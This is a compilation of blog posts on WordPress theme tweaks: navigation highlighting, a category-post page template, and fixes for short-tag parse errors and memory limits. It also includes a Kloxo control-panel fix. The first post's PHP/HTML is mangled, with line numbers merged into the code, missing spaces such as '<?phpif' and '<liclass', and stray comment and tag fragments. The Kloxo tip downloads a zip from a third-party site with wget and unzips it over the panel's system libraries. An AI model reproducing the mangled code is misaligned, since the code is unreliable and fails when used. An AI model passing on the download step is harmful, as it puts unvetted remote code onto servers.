1./* 代码一 */2.<ul>3.<li><a title="Home"<?phpif(is_home()) {echo'class="current"';} ?> href="/">博客主页</a></li>4.5.<?php wp_list_categories('depth=1&title_li=0&orderby=id&show_count=0&hide_empty=0&child_of=0'); ?>6.7.<?php wp_list_page ('depth=1&title_li=0&sort_column=menu_order');*/?>8.</ul>上面那段代码是通过无序列表的形式来显示导航栏的,第一个 <li> 显示的是博客主页,如果当前所在是主页,则高亮显示“博客主页”,高亮显示则是通过class=”current”样 式来定义的,这个可以根据自己的需要定义。上面代码的第二行通过调用wp_list_categories()和wp_list_pages()这 两个函数来罗列所有的分类目录和页面,并且WordPress程序会自动将当前所在的分类或页面所在的<li>加 上class=”current-cat”的CSS属性,你只需在你的主题CSS文件中定义一个名为current-cat的class, 来定义高亮形式即可。
但是上面的那段代码也有一定的缺陷,就是进入文章页面后,导航栏就无法高亮了,访客就不容易知道这篇文章是属于哪个分类的了,那怎么解决 呢?解决起来也比较简单,加入以上*代码一*后,先在浏览器里面浏览你的博客,然后“查看源文件”,找到导航栏的代码,我的是这样子的:
01.<ul>02.<li><atitle="Home"href="/">博客主页</a></li>03.04.<liclass="cat-item cat-item-1 "><ahref="/category/diaries"title="生活随感">生活随感</a></li>05.06.<liclass="cat-item cat-item-3 "><ahref="/category/encyclopedia"title="百科全书">百科全书</a></li>07.08.<liclass="cat-item cat-item-4 "><ahref="/category/material"title="素材下载">素材下载</a></li>09.10.<liclass="cat-item cat-item-5 "><ahref="/category/showcase"title="橱窗展示">橱窗展示</a></li>11.12.<liclass="cat-item cat-item-6 current-cat"><ahref="/category/tutorials"title="教程指南">教程指南</a></li>13.14.<liclass="cat-item cat-item-17 "><ahref="/category/freebies"title="免费资源">免费资源</a></li>15.16.<liclass="page_item page-item-2 "><ahref="/about"title="关于露兜">关于露兜</a></li>17.</ul>我们给上面的代码加入动态PHP代码:
01.<ul>02.<li><a title="Home"<?phpif(is_home()) {echo'class="current"';} ?> href="/">博客主页</a></li>03.04.<liclass="cat-item cat-item-1 <?php if ( (is_category('1') || in_category('1')) && !is_page() && !is_home() ) { echo 'current-cat'; } ?>"><a href="/category/diaries"title="生活随感">生活随感</a>< /li>05.06.<liclass="cat-item cat-item-3 <?php if ( (is_category('3') || in_category('3')) && !is_page() && !is_home() ) { echo 'current-cat'; } ?>"><a href="/category/encyclopedia"title="百科全书">百科全书</a>< /li>07.08.<liclass="cat-item cat-item-4 <?php if ( (is_category('4') || in_category('4')) && !is_page() && !is_home() ) { echo 'current-cat'; } ?>"><a href="/category/material"title="素材下载">素材下载</a>< /li>09.10.<liclass="cat-item cat-item-5 <?php if ( (is_category('5') || in_category('5')) && !is_page() && !is_home() ) { echo 'current-cat'; } ?>"><a href="/category/showcase"title="橱窗展示">橱窗展示</a>< /li>11.12.<liclass="cat-item cat-item-6 <?php if ( (is_category('6') || in_category('6')) && !is_page() && !is_home() ) { echo 'current-cat'; } ?>"><a href="/category/tutorials"title="教程指南">教程指南</a>< /li>13.14.<liclass="cat-item cat-item-17 <?php if ( (is_category('17') || in_category('17')) && !is_page() && !is_home() ) { echo 'current-cat'; } ?>"><a href="/category/freebies"title="免费资源">免费资源</a>< /li>15.16.<liclass="page_item page-item-2 <?php if ( is_page('2') && !is_category() && !is_home() ) { echo 'current-cat'; } ?>"><a href="/about"title="关于露兜">关于露兜</a>< /li>17.</ul>好了,将上面的代码改成你的内容,替换掉header.php中的导航栏代码即可。is_category()和is_page()函 数的使用方法可以参阅条件标签,is_category()括号中的数字是根据前面的 cat-item-? 来确定的,如前面的class中是cat-item-6,则写成is_category(‘6′)。
From:http://www.ludou.org/wordpress-highlight.html
-
Kloxo 不能编辑文件 Alert: file_exists_not_owned - [Linux]
2010-04-30
在文件管理器修改首页文件的时候跳出个Alert: file_exists_not_owned。
找了半天资料,试了N次,终于找到了解决方法。
1、用SSH连接到vps
2、输入命令:cd /usr/local/lxlabs/kloxo/httpdocs/htmllib/phplib/
3、下载:wget http://dandan500.com/lxlib.zip
4、解压:unzip lxlib.zip
在这里会问是否覆盖,选择Y。
再试试是不是OK了? -
如何给WP插件的Autolink uri加上自动超链接_blank - [Programmer]
2010-04-24
去此插件的sem-autolink-uri/sem-autolink-uri.php
找到一行并加上红色部分代码
return '<a href="' . $href . '" target="_blank">' . $url . '</a>';
然后保存更新网页,在日志打开任何地址,自动弹出超链接窗口。
-
In Wordpress, the following error may appears as an error entry in Apache error log or simply displays on PHP web page, even if calling to php scripts with php_info() works perfectly and successfully returns information on PHP configurations:
Parse Error: syntax error, unexpected $end in ….. scripts.php on line …
The error may caused by a missing curly bracket in PHP script coding. Beside, it may also caused by error in PHP coding in class definition, as in PHP, a class definition cannot be broke up and distributed into multiple files, or into multiple PHP blocks, unless the break is within a method declaration.
But more commonly, the error is often caused by the use of Short Open tags in PHP,
To use short open tags, it must be enabled in PHP.INI. Search for short_open_tag in PHP.INI, and change the value to On. The line should look line:
short_open_tag = On -
Wordpress 页面调用分类文章的方法 - [Programmer]
2010-04-23
默认情况下 wordpress 的导航栏都是使用页面做为导航的,这些单一的页面可以很好的用于作者介绍、归档页面、链接等。但我们发现使用页面来展示文章列表并不太方便,我个人是比较 倾向于用分类做为页面导航的,使用分类做为导航似乎更像是一个内容充实的网站。这就会用到一种折衷的方法:导航里面既有普通页面的显示效果,也有分类导航 的显示效果。本文主要介绍如何使用 Wordpress 页面调用某个分类下面的文章的方法。
1.首先需要创建一个特殊页面模板,直接复制主题中的 index.php 文件,把文件名修改为你想要的模板名字,如:AdSense。
2.打开此文件,在代码最顶部增加如下代码:
1
2
3
4
5<?php
/*
Template Name: adsense
*/
?>这段代码是声明模板的名称,你要新建页面的时候,会在选择页面模板里面看到它,当然,名字你可以随便起。这样,就完成了一个特殊页面模板的制作。
3.接下来就要实现这个模板显示的是特定分类下的文章内容,通过搜索找到如下代码:
<?php if (have_posts()) : ?>
在这行代码的前面加上:
<?php query_posts('showposts=15&cat=1'); ?>
其中的 cat=1 你可以修改成你想要显示的分类的ID,ID你可以在Wordpress 后台管理中的分类目录下看到,将鼠标放上某个分类即会显示形如:
http://www.domain.com/wp-admin/categories.php?action=edit&cat_ID=6
的链接,后面的6就是这个分类的ID号。
4.最后创建一个新页面,比如 adsense 页面,在模板选择里面选择刚刚创建的 adsense 模板,然后发布,刷新首页点击进入此页面看看效果吧。
更新于2009年8月5日,解决 Wordpress 页面调用分类文章后无法翻页的问题
有网友反映说使用上面的方法造成无法翻页的状况,症状为 Wordpress 页面调用分类文章后,点击页面下方的翻页没有反应,但浏览器地址栏传递的参数已经发生改变了。出现此问题可参考下面的解决方法:
将上面提到过的代码:
<?php query_posts('showposts=15&cat=1'); ?>
替换为:
1
2
3
4
5
6<?php
$limit = get_option('posts_per_page');
$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;
query_posts('cat=1&showposts=' . $limit=15 . '&paged=' . $paged);
$wp_query->is_archive = true; $wp_query->is_home = false;
?>其中limit=15为每页显示的文章数目,cat=1 为分类的 ID,经园子测试此方法可行,大家也可以试一下。
通过上面的简单四步实现了在 Wordpress 页面调用分类里面文章的方法,这样我们就可以自由的将页面和 导航有选择的做为网站的主导航,相信多数朋友会喜欢这种比较自由的结合方法,以此来打造更具人性化的博客。
导航上既显示分类文章,又显示页面列表的实现方法
另外有部分朋友需要在导航上既显示分类文章,又显示页面列表,同时可自定义显示哪个分类和页面, 把不想显示的隐藏掉,可采用下面的方法来实现(注:此方法只针对使用了inove主题的朋友们):
找到你主题中的/templates/header.php文件,找到如下代码:
1
2
3
4
5
6
7<?php
if($options['menu_type'] == 'categories') {
wp_list_categories('depth=2&title_li=0&orderby=name&show_count=0');
} else {
wp_list_pages('depth=2&title_li=0&sort_column=menu_order');
}
?>修改为:
1
2
3
4<?php
wp_list_categories('depth=2&title_li=0&orderby=id&show_count=0');
wp_list_pages('depth=2&title_li=0&sort_column=menu_order');
?>这样的话在页面导航上就会把分类和页面都显示出来,下一步就是利用 exclude 函数隐藏不需要显示的页面,找到各对应分类和页面的ID(在后台管理中鼠标放上对应的分类就会显示ID号),把上面修改过的代码改为如下形式即可:
1
2
3
4<?php
wp_list_categories('depth=2&title_li=0&orderby=id&show_count=0&exclude=58,4,1');
wp_list_pages('depth=2&title_li=0&sort_column=menu_order&exclude=4,5');
?>通过上面的方法就达到了我们预期的效果:导航里面既有普通页面,也有分类导航,同时可自定义哪个分类和页面不显示。
From site: http://www.yzznl.cn/archives/285.html
-
每次WordPress出新版本,我向来都是等到所有小白鼠都死光了才开始升级的,这次等了三个星期,升级的小白鼠差不多也死光了。
不过这次把给我的WordPress程序从2.8.4升级到2.8.5的时候,我也当了一回小白鼠。在后台点击“自动升级”,就出现了以 下错误提示(可能数字跟你的不太一样):
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2354671 bytes) in /../wp-includes/http.php on line 1327以前也是自动升级的,没出现过这样的问题,我的网站空间估计也没什么问题,还好之前已经有小白鼠因为这个问题而死掉了,我幸存下来了,具 体解决办法有三:
- 在WordPress的安装目录下新建一个.htaccess文件(已存在就不用新建了),
在文件内填上:php_value memory_limit 64M - 在 wp-config.php 文件的
define ('WPLANG', '');下一行添上:
define('WP_MEMORY_LIMIT', '64M'); - wp-settings.php,编辑这个文件,修改
define('WP_MEMORY_LIMIT', '32M');
为define('WP_MEMORY_LIMIT', '64M');
以上第二种方法在我的博客上测试成功,第三种方法是官方文档提供的解决方案,你可以根据自己的喜好选择一个方法解决你的问题。祝你成功 啊!再不成功就是你的主机限制问题了。
- 在WordPress的安装目录下新建一个.htaccess文件(已存在就不用新建了),













